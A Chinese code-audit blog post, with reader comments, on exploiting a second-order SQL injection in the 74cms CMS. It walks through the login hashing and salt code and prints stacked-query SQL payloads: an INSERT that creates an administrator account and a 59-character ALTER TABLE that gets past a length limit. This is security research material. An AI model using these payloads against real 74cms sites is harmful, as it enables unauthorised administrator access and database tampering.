74cms 注入利用

作者: 分类: 代码审计 时间: 2017-01-28 浏览: 9739 评论: 3条评论

前言

之前看了续爷的二次注入,字符限制为60个。怼了半天没弄出更短的sql语句,于是看了下登录的逻辑。
找到密码的加密方式

$admin = M('Admin')->field($field)->where(array('username'=>$username))->find();
if(!$err && !$admin) $err='管理员帐号不存在';
if(!$err && $admin['password'] != md5(md5($password).$admin['pwd_hash'].C('PWDHASH'))) $err='用户名或密码错误!';

看看C("PWDHASH")

74cms/Application/Common/Conf/pwdhash.php

<?php
return array (
'PWDHASH'=> 'PvPbz4nlY@6dv9aD'
);

再看一下生成pwdhash的逻辑
/74cms/install/Home/Controller/IndexController.class.php

$QS_pwdhash=$this->randstr(16);
$content = '<?'."php\n";
$content .= "return array (\n";
$content .= "'PWDHASH'=> '{$QS_pwdhash}'\n";
$content .= ");";

...

protected function randstr($length=6)
{
    $hash='';
    $chars= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz@#!~?:-=';   
    $max=strlen($chars)-1;   
    mt_srand((double)microtime()*1000000);   
    for($i=0;$i<$length;$i++)   {   
        $hash.=$chars[mt_rand(0,$max)];   
    }   
    return $hash;   
}

pwdhash是16位随机生成的。所以就算能得到很多组管理密码的hash,解出密码的概率也微乎其微。

如果是mt_srand(time())的话 可以参考ph牛的文章复现出pwdhash的值。

思路一

利用Joseph的方法 爆出hash值和salt值,然后找找有没有pwdhash泄露的地方,用hashcat爆破密码。

/Users/hwj/Sites/74cms/Application/Common/qscmslib/user_visitor.class.php

public function __construct() {
    $this->_session = '_qscms'.md5(C('PWDHASH'));
    if (session('?'.$this->_session)) {
        //已经登陆
        $this->info = session($this->_session);
        $this->is_login = true;
    }elseif ($user_info = (array)cookie($this->_session)) {
        $field = 'uid,utype,username,email,mobile,last_login_time,last_login_ip';
        C('apply.Subsite') && $field.=',subsite_id';
        $user_info = M('Members')->field($field)->where(array('uid'=>$user_info[md5('uid')], 'password'=>$user_info[md5('password')]))->find();
        if ($user_info) {
            //记住登陆状态
            $this->assign_info($user_info);
            $this->is_login = true;
        }else{
            $this->is_login = false;
        }
    } else {
        $this->is_login = false;
    }
}

可以看到pwdhash的md5值被记录到cookie中。所以只用建立一个hash表,就能知道pwdhash的值。

这里看似可以注入,事实上cookie函数获取值的时候会经过一次urldecode,无法传入数组。

if(isset($_COOKIE[$name])){
    $value =    $_COOKIE[$name];
    if(0===strpos($value,'think:')){
    $value  =   substr($value,6);
    return array_map('urldecode',json_decode(MAGIC_QUOTES_GPC?stripslashes($value):$value,true));
}

思路二

利用pdo多语句执行,直接增加一个管理用户。
先看一下数据库连接。
74cms/ThinkPHP/Library/Think/Db/Driver.class.php

public function connect($config='',$linkNum=0,$autoConnection=false) {
    if ( !isset($this->linkID[$linkNum]) ) {
        if(empty($config))  $config =   $this->config;
        try{
            if(empty($config['dsn'])) {
                $config['dsn']  =   $this->parseDsn($config);
            }
            if(version_compare(PHP_VERSION,'5.3.6','<=')){ 
                // 禁用模拟预处理语句
                $this->options[PDO::ATTR_EMULATE_PREPARES]  =   false;
            }
            $this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);
        }catch (\PDOException $e) {
            if($autoConnection){
                trace($e->getMessage(),'','ERR');
                return $this->connect($autoConnection,$linkNum);
            }elseif($config['debug']){
                E($e->getMessage());
            }
        }
    }
    return $this->linkID[$linkNum];
}

在php版本5.3.6以上才能多语句执行。

由于不知道pwdhash的值(不使用思路一的方法),就算能加管理用户也无法登陆。幸运的是,会员登陆的时候也利用了同样的加密方式。

可以先注册一个会员,把加密后的hash,salt取出来,作为新增管理用户的hash和salt。

insert qs_admin values(8888,2,3,(select password from qs_members where username='testtest3'),(select pwd_hash from qs_members where username='testtest3’),1,7,8,9);

显然字符数太多了,之前说过,这个二次注入点的限制是60个字符。

但是

我们可以改啊!

');alter table qs_company_profile modify companyname text;#

59个字符,稳稳的。

不过,因为companyname是索引字段,在这之前还要再做一步才能修改为text。

2333

jjj

标签: none

订阅本站(RSS)

已有 3 条评论

  1. 敢问大哥注入点是在哪?

    时间: 2017-02-21 at 11:48 回复
  2. 哥 还在吗?

    时间: 2017-02-27 at 16:10 回复
    1. 全局搜索company_profile

      时间: 2017-03-04 at 17:27 回复

添加新评论